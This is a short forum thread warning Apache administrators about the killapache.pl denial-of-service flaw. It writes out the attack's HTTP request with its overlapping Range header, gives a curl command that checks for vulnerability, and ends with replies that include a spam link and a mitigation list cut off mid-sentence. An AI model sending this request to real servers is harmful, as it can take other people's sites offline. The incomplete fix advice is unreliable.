Running Apache w/o nginx? Beware!

[CyberSEO.net]

The killapache.pl launches in a few threads the following simple request:

GET / HTTP/1.1
Host: example.com
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,<...>,5-1299,5-1300
Accept-Encoding: gzip
Connection: close

And if there is no nginx installed your Apache server will be easily laid down.

Here is a simple command to check if your server is vulnerable:

curl -I -H "Range: bytes=0-1,0-2" -s yourserver.com/robots.txt | grep Partial

If you received 206 Partial Content, you are in big trouble.

 

[cheshire]

Thanks, hopefully the apache team fixes this soon.

 

[mattseh]

lol apache

 

[Kyle4hire]

Thanks for the information dude!

http://www.wickedfire.com/links-seo/126238-cheapest-link-pyramid-link-wheel-4-hubs-new-post.html

 

[BigWill]

How to fix:

1) Disable compression-on-the-fly by:

1) removing mod_deflate as a loaded module and/or by removing

 

[Jizzlobber]

Litespeed

 

[crackp0t]

That's older than shit. He just now released it though.

 

[JCash]